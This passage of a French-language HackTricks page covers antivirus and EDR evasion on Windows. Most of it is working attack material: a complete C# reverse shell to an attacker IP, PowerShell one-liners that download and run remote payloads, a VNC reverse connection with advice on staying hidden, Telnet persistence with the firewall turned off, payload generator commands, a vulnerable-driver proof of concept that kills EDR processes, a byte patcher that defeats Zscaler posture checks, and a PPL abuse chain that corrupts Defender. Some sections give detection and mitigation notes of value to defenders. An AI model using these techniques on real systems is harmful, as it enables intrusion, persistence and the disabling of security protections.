Token stomping est une technique qui permet à un attaquant de manipuler le token d'accÚs ou un produit de sécurité comme un EDR ou un AV, leur permettant de réduire ses privilÚges de sorte que le processus ne meure pas mais n'ait plus les permissions pour vérifier les activités malveillantes.
Pour empĂȘcher cela, Windows pourrait empĂȘcher les processus externes d'obtenir des handles sur les tokens des processus de sĂ©curitĂ©.
- https://github.com/pwn1sher/KillDefender/
- https://github.com/MartinIngesen/TokenStomp
- https://github.com/nick-frischkorn/TokenStripBOF
Using Trusted Software
Chrome Remote Desktop
Comme décrit dans this blog post, il est facile de déployer Chrome Remote Desktop sur le poste d'une victime puis de l'utiliser pour le prendre en main et maintenir la persistance :
- Téléchargez depuis https://remotedesktop.google.com/, cliquez sur "Set up via SSH", puis cliquez sur le fichier MSI pour Windows pour télécharger le MSI.
- Exécutez l'installateur en silencieux sur la victime (admin requis) :
msiexec /i chromeremotedesktophost.msi /qn
- Retournez sur la page Chrome Remote Desktop et cliquez sur Suivant. L'assistant vous demandera alors d'autoriser ; cliquez sur le bouton Authorize pour continuer.
- Exécutez le paramÚtre donné avec quelques ajustements :
"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111
(Notez le param pin qui permet de définir le pin sans utiliser l'interface graphique).
Advanced Evasion
L'évasion est un sujet trÚs compliqué : parfois il faut prendre en compte de nombreuses sources de télémétrie dans un seul systÚme, donc il est pratiquement impossible de rester complÚtement indétecté dans des environnements matures.
Chaque environnement contre lequel vous opérez aura ses propres forces et faiblesses.
Je vous encourage fortement à regarder cette présentation de @ATTL4S, pour vous familiariser avec des techniques d'Advanced Evasion.
[NcN2k20] Understanding and Hiding your Operations - Daniel López Jiménez
Ceci est aussi une autre excellente présentation de @mariuszbit sur l'Evasion in Depth.
Old Techniques
Check which parts Defender finds as malicious
Vous pouvez utiliser ThreatCheck qui supprimera des parties du binaire jusqu'à ce qu'il détermine quelle partie Defender considÚre comme malveillante et vous la présente.
Un autre outil faisant la mĂȘme chose est avred avec un service web ouvert disponible sur https://avred.r00ted.ch/
Telnet Server
Jusqu'Ă Windows10, toutes les versions de Windows incluaient un serveur Telnet que vous pouviez installer (en tant qu'administrateur) en faisant :
pkgmgr /iu:"TelnetServer" /quiet
Faites en sorte qu'il démarre au démarrage du systÚme et lancez-le maintenant :
sc config TlntSVR start= auto obj= localsystem
Changer le port telnet (stealth) et désactiver le pare-feu :
tlntadmn config port=80
netsh advfirewall set allprofiles state off
UltraVNC
Téléchargez-le depuis : http://www.uvnc.com/downloads/ultravnc.html (choisissez les téléchargements binaires, pas le setup)
ON THE HOST: Exécutez winvnc.exe et configurez le serveur :
- Activez l'option Disable TrayIcon
- Mettez un mot de passe dans VNC Password
- Mettez un mot de passe dans View-Only Password
Ensuite, déplacez le binaire winvnc.exe et le fichier nouvellement créé UltraVNC.ini sur la victim
Reverse connection
The attacker should execute inside his host the binary vncviewer.exe -listen 5900
so it will be prepared to catch a reverse VNC connection. Then, inside the victim: Start the winvnc daemon winvnc.exe -run
and run winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900
WARNING: To maintain stealth you must not do a few things
- Don't start
winvnc
if it's already running or you'll trigger a popup. check if it's running withtasklist | findstr winvnc
- Don't start
winvnc
withoutUltraVNC.ini
in the same directory or it will cause the config window to open - Don't run
winvnc -h
for help or you'll trigger a popup
GreatSCT
Téléchargez-le depuis : https://github.com/GreatSCT/GreatSCT
git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py
à l'intérieur de GreatSCT :
use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
Maintenant démarrez le lister avec msfconsole -r file.rc
et exécutez le xml payload avec:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
Le Defender actuel terminera le processus trĂšs rapidement.
Compiler notre propre reverse shell
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
Premier C# Revershell
Compilez-le avec:
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
Utilisez-le avec :
back.exe <ATTACKER_IP> <PORT>
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;
public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
}
C# en utilisant le compilateur
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066
REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639
Téléchargement et exécution automatiques :
64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
Liste d'obfuscateurs C#: https://github.com/NotPrab/.NET-Obfuscator
C++
sudo apt-get install mingw-w64
i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
- https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp
- https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/
- https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf
- https://github.com/l0ss/Grouper2
- http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html
- http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/
Exemple d'utilisation de python pour build injectors :
Autres outils
# Veil Framework:
https://github.com/Veil-Framework/Veil
# Shellter
https://www.shellterproject.com/download/
# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
# Donut:
https://github.com/TheWover/donut
# Vulcan
https://github.com/praetorian-code/vulcan
More
Bring Your Own Vulnerable Driver (BYOVD) â Neutraliser AV/EDR depuis le Kernel Space
Storm-2603 a utilisĂ© un petit utilitaire console connu sous le nom Antivirus Terminator pour dĂ©sactiver les protections endpoint avant de dĂ©poser le ransomware. L'outil apporte son propre driver vulnĂ©rable mais signĂ© et l'abuse pour exĂ©cuter des opĂ©rations privilĂ©giĂ©es au niveau kernel que mĂȘme les services AV en Protected-Process-Light (PPL) ne peuvent bloquer.
Points clés
- Signed driver : Le fichier déposé sur le disque est
ServiceMouse.sys
, mais le binaire est le driver légitimement signéAToolsKrnl64.sys
issu du âSystem In-Depth Analysis Toolkitâ d'Antiy Labs. Parce que le driver porte une signature Microsoft valide, il se charge mĂȘme lorsque Driver-Signature-Enforcement (DSE) est activĂ©. - Service installation :
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
sc start ServiceMouse
La premiÚre ligne enregistre le driver en tant que kernel service et la seconde le démarre de sorte que \\.\ServiceMouse
devienne accessible depuis user land.
3. IOCTLs exposed by the driver
IOCTL code | Capability |
---|---|
0x99000050 | Terminate an arbitrary process by PID (used to kill Defender/EDR services) |
0x990000D0 | Delete an arbitrary file on disk |
0x990001D0 | Unload the driver and remove the service |
Minimal C proof-of-concept:
#include <windows.h>
int main(int argc, char **argv){
DWORD pid = strtoul(argv[1], NULL, 10);
HANDLE hDrv = CreateFileA("\\\\.\\ServiceMouse", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
DeviceIoControl(hDrv, 0x99000050, &pid, sizeof(pid), NULL, 0, NULL, NULL);
CloseHandle(hDrv);
return 0;
}
- Why it works : BYOVD contourne complÚtement les protections en mode utilisateur ; du code exécuté en kernel peut ouvrir des processus protected, les terminer ou manipuler des objets kernel indépendamment de PPL/PP, ELAM ou d'autres mécanismes de durcissement.
Detection / Mitigation
⹠Activez la liste de blocage des drivers vulnérables de Microsoft (HVCI
, Smart App Control
) afin que Windows refuse de charger AToolsKrnl64.sys
.
⹠Surveillez la création de nouveaux kernel services et générez des alertes lorsqu'un driver est chargé depuis un répertoire world-writable ou n'est pas présent sur la allow-list (liste d'autorisation).
⹠Surveillez les handles en user-mode vers des device objects personnalisés suivis d'appels DeviceIoControl
suspects.
Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
Le Client Connector de Zscaler évalue localement les rÚgles de posture du device et s'appuie sur Windows RPC pour communiquer les résultats aux autres composants. Deux mauvais choix de conception rendent un contournement complet possible :
- L'évaluation de posture se fait entiÚrement cÎté client (un booléen est envoyé au serveur).
- Les endpoints RPC internes ne valident que le fait que l'exécutable client est signé par Zscaler (via
WinVerifyTrust
).
En patchant quatre binaires signĂ©s sur disque, les deux mĂ©canismes peuvent ĂȘtre neutralisĂ©s :
Binaire | Logique d'origine patchée | Résultat |
---|---|---|
ZSATrayManager.exe | devicePostureCheck() â return 0/1 | Retourne toujours 1 , donc chaque contrĂŽle est considĂ©rĂ© conforme |
ZSAService.exe | Appel indirect Ă WinVerifyTrust | NOP-ed â tout processus (mĂȘme non signĂ©) peut se binder aux pipes RPC |
ZSATrayHelper.dll | verifyZSAServiceFileSignature() | Remplacé par mov eax,1 ; ret |
ZSATunnel.exe | Vérifications d'intégrité sur le tunnel | Court-circuitées |
Minimal patcher excerpt:
pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
replacement = bytes.fromhex("C6 84 24 80 02 00 00 01") # force result = 1
with open("ZSATrayManager.exe", "r+b") as f:
data = f.read()
off = data.find(pattern)
if off == -1:
print("pattern not found")
else:
f.seek(off)
f.write(replacement)
AprÚs avoir remplacé les fichiers originaux et redémarré la pile de services :
- Toutes les vérifications de posture affichent vert/conforme.
- Des binaires non signés ou modifiés peuvent ouvrir les named-pipe RPC endpoints (e.g.
\\RPC Control\\ZSATrayManager_talk_to_me
). - L'hÎte compromis obtient un accÚs sans restriction au réseau interne défini par les politiques Zscaler.
Cette Ă©tude de cas dĂ©montre comment des dĂ©cisions de confiance purement cĂŽtĂ© client et de simples vĂ©rifications de signature peuvent ĂȘtre contournĂ©es avec quelques patches d'octets.
Abuser Protected Process Light (PPL) To Tamper AV/EDR With LOLBINs
Protected Process Light (PPL) enforces a signer/level hierarchy de sorte que seuls des processus protégés d'égal ou de niveau supérieur peuvent s'altérer mutuellement. Offensivement, si vous pouvez légitimement lancer un binaire PPL-enabled et contrÎler ses arguments, vous pouvez convertir une fonctionnalité bénigne (e.g., logging) en un write primitive contraint, soutenu par PPL, contre des répertoires protégés utilisés par AV/EDR.
What makes a process run as PPL
- The target EXE (and any loaded DLLs) must be signed with a PPL-capable EKU.
- The process must be created with CreateProcess using the flags:
EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS
. - A compatible protection level must be requested that matches the signer of the binary (e.g.,
PROTECTION_LEVEL_ANTIMALWARE_LIGHT
for anti-malware signers,PROTECTION_LEVEL_WINDOWS
for Windows signers). Wrong levels will fail at creation.
See also a broader intro to PP/PPL and LSASS protection here:
Windows Credentials Protections
Launcher tooling
- Open-source helper: CreateProcessAsPPL (selects protection level and forwards arguments to the target EXE):
- https://github.com/2x7EQ13/CreateProcessAsPPL
- Usage pattern:
CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...]
# example: spawn a Windows-signed component at PPL level 1 (Windows)
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
# example: spawn an anti-malware signed component at level 3
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
Primitive LOLBIN : ClipUp.exe
- Le binaire systÚme signé
C:\Windows\System32\ClipUp.exe
se lance luiâmĂȘme et accepte un paramĂštre pour Ă©crire un fichier journal vers un chemin spĂ©cifiĂ© par l'appelant. - Lorsqu'il est lancĂ© en tant que processus PPL, l'Ă©criture du fichier s'effectue avec le backing PPL.
- ClipUp cannot parse paths containing spaces; use 8.3 short paths to point into normally protected locations.
8.3 short path helpers
- Lister les noms courts :
dir /x
dans chaque répertoire parent. - Dériver le chemin court dans cmd :
for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA
Abuse chain (abstract)
- Lancer le LOLBIN compatible PPL (ClipUp) avec
CREATE_PROTECTED_PROCESS
en utilisant un lanceur (par exemple, CreateProcessAsPPL). - Fournir l'argument log-path de ClipUp pour forcer la création d'un fichier dans un répertoire AV protégé (par exemple, Defender Platform). Utilisez des noms courts 8.3 si nécessaire.
- Si le binaire cible est normalement ouvert/verrouillé par l'AV pendant qu'il s'exécute (par exemple, MsMpEng.exe), planifiez l'écriture au démarrage avant que l'AV ne démarre en installant un service à démarrage automatique qui s'exécute de façon fiable plus tÎt. Validez l'ordre de démarrage avec Process Monitor (boot logging).
- Au redĂ©marrage, l'Ă©criture soutenue par le PPL a lieu avant que l'AV ne verrouille ses binaires, corrompant le fichier cible et empĂȘchant le dĂ©marrage.
Exemple d'invocation (chemins masqués/raccourcis pour des raisons de sécurité) :
# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
Remarques et contraintes
- Vous ne pouvez pas contrÎler le contenu que ClipUp écrit au-delà du placement ; la primitive convient davantage à la corruption qu'à l'injection précise de contenu.
- NĂ©cessite des droits locaux admin/SYSTEM pour installer/dĂ©marrer un service et une fenĂȘtre de redĂ©marrage.
- Le timing est critique : la cible ne doit pas ĂȘtre ouverte ; l'exĂ©cution au dĂ©marrage Ă©vite les verrous de fichiers.
Détections
- Création de processus de
ClipUp.exe
avec des arguments inhabituels, en particulier parenté par des lanceurs non standard, autour du démarrage. - Nouveaux services configurés pour démarrer automatiquement des binaires suspects et démarrant systématiquement avant Defender/AV. Examiner la création/modification de services avant les échecs de démarrage de Defender.
- Surveillance d'intégrité des fichiers sur les binaires/les répertoires Platform de Defender ; créations/modifications de fichiers inattendues par des processus avec des flags protected-process.
- Télémétrie ETW/EDR : rechercher des processus créés avec
CREATE_PROTECTED_PROCESS
et une utilisation anormale du niveau PPL par des binaires non-AV.
Mesures d'atténuation
- WDAC/Code Integrity : restreindre quels binaires signés peuvent s'exécuter en tant que PPL et sous quels parents ; bloquer l'invocation de ClipUp en dehors de contextes légitimes.
- HygiÚne des services : restreindre la création/modification de services à démarrage automatique et surveiller les manipulations de l'ordre de démarrage.
- S'assurer que Defender tamper protection et les protections d'early-launch sont activées ; examiner les erreurs de démarrage indiquant une corruption binaire.
- Envisager de désactiver la génération des noms courts 8.3 sur les volumes hébergeant des outils de sécurité si compatible avec votre environnement (tester soigneusement).
References for PPL and tooling
- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
- EKU reference: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88
- Procmon boot logging (ordering validation): https://learn.microsoft.com/sysinternals/downloads/procmon
- CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
- Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
Références
-
Unit42 â New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer
-
Synacktiv â Should you trust your zero trust? Bypassing Zscaler posture checks
-
Check Point Research â Before ToolShell: Exploring Storm-2603âs Previous Ransomware Operations
-
Hexacorn â DLL ForwardSideLoading: Abusing Forwarded Exports
-
Zero Salarium â Countering EDRs With The Backing Of Protected Process Light (PPL)
-
Check Point Research â Under the Pure Curtain: From RAT to Builder to Coder
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.